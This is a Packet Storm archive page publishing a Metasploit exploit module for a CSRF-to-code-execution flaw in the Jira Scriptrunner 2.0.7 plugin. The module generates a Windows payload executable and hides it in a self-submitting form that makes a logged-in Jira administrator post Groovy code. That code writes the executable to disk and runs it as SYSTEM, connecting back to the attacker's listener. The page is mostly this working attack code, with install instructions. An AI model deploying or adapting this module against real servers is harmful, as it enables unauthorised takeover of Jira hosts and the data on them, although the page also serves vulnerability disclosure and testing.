exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Jira Scriptrunner 2.0.7 CSRF / Code Execution

Jira Scriptrunner 2.0.7 CSRF / Code Execution
Posted Nov 13, 2012
Authored by Ben Sheppard

This is a metasploit exploit for Jira Scriptrunner version 2.0.7. This Jira plugin does not use the built in Jira protections (websudo or CSRF tokens) to protect the page from CSRF. This page is supposed to be used by admins to automate tasks, it will accept java code and by default in a windows environment Jira will be run as system.

tags | exploit, java, csrf
systems | windows
SHA-256 | f7e10861901a1d9665e685842d12a026c5ffc0c56dbc38b827eb7b239eef52e1

Jira Scriptrunner 2.0.7 CSRF / Code Execution

Change Mirror Download
#[Author] Ben 'highjack' Sheppard
#[Title] Jira Scriptrunner 2.0.7 <= CSRF/RCE
#[Twitter] @highjack_
#[Author Url] http://bensheppard.net/jira-scriptrunner-2-0-7/
#[Vendor Url] https://marketplace.atlassian.com/plugins/com.onresolve.jira.groovy.groovyrunner
#[Install] To use this copy it into ~/.msf4/modules/exploits/windows/http/scriptrunner.rb


require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize
super(
'Name' => 'Jira Scriptrunner 2.0.7 <= CSRF/RCE',
'Description' => %q{This jira plugin does notuse the built in jira protections (websudo or csrf tokens)
to protect the page from CSRF. This page is supposed to be used by admins to automate tasks,
it will accept java code and by default in a windows environment jira will
be run as system},
'Author' => [ 'Ben \'highjack\' Sheppard'],
'License' => MSF_LICENSE,
'Version' => 'Revision: 1 ',
'Platform' => [ 'win'],
'Targets' =>
[
['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }]
],
'DefaultTarget' => 0
)

register_options(
[
OptString.new('RHOST', [true, 'Remote host of jira box']),
OptPort.new('RPORT', [true, 'Remote port of jira box', 8080]),
OptString.new('LHOST', [true, 'Multihandler host to listen on']),
OptBool.new('IS_SSL', [true, 'Does the target use ssl?', false]),
OptPort.new('LPORT', [true, 'Multihandler port to listen on',4444])
], self.class)

end

def csrf(url)
shell = Rex::Text.rand_text_alpha(rand(8)+3) + ".exe"
opts = {:arch => target.arch, :platform => target.platform}
encodedPayload = Rex::Text.encode_base64(generate_payload_exe(opts))

payloadLength = encodedPayload.length
chunkLength = 500

stringBuffer = ""
for i in (0..payloadLength / chunkLength)
if payloadLength < i+chunkLength
position = payloadLength-i
else
position = chunkLength
end
stringBuffer = stringBuffer + "encodedPayload.append(\"" + encodedPayload[i*chunkLength,position] + "\");\n"
end

jiraPayload = %Q|
import sun.misc.BASE64Decoder;
import java.io.*;
Runtime rt = Runtime.getRuntime();
try
{

StringBuffer encodedPayload = new StringBuffer();
#{stringBuffer}
String sEncodedPayload = new String(encodedPayload.toString());
BASE64Decoder b64decoder = new BASE64Decoder();
byte[] decodedPayload = b64decoder.decodeBuffer(sEncodedPayload);

BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream("#{shell}"));
output.write(decodedPayload);
output.close();
}
catch (Exception e)
{
return(e);
}
try
{
|
jiraPayload = jiraPayload + "rt.exec(\"#{shell}\");}catch (Exception e){return (e);}"
html = %Q|
<html>
<head></head>
<body>
<form action='#{url}/secure/admin/groovy/GroovyRunner.jspa' method='POST' id='groovy'>
<input type='hidden' name='scriptLanguage' value='Groovy' />
<div style='display:none'>
<textarea name='script'>#{jiraPayload}</textarea>
</div>
<input type='hidden' name='Run&32;now' value='Run&32;now' />
</form>
<script>document.getElementById('groovy').submit();</script>
</body>
</html>
|
return html
end

def getUrl()
rhost = datastore['RHOST']
rport = datastore['RPORT']
isSsl = datastore['IS_SSL']

if isSsl == true
url = 'https://'
else
url = 'http://'
end
url = url + rhost + ':' + rport
return url
end
def on_request_uri(cli, request)
url = getUrl()
print_status("\n#{self.name} handling response\n")
send_response_html( cli, csrf(url), { 'Content-Type' => 'text/html' } )
return
end

end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close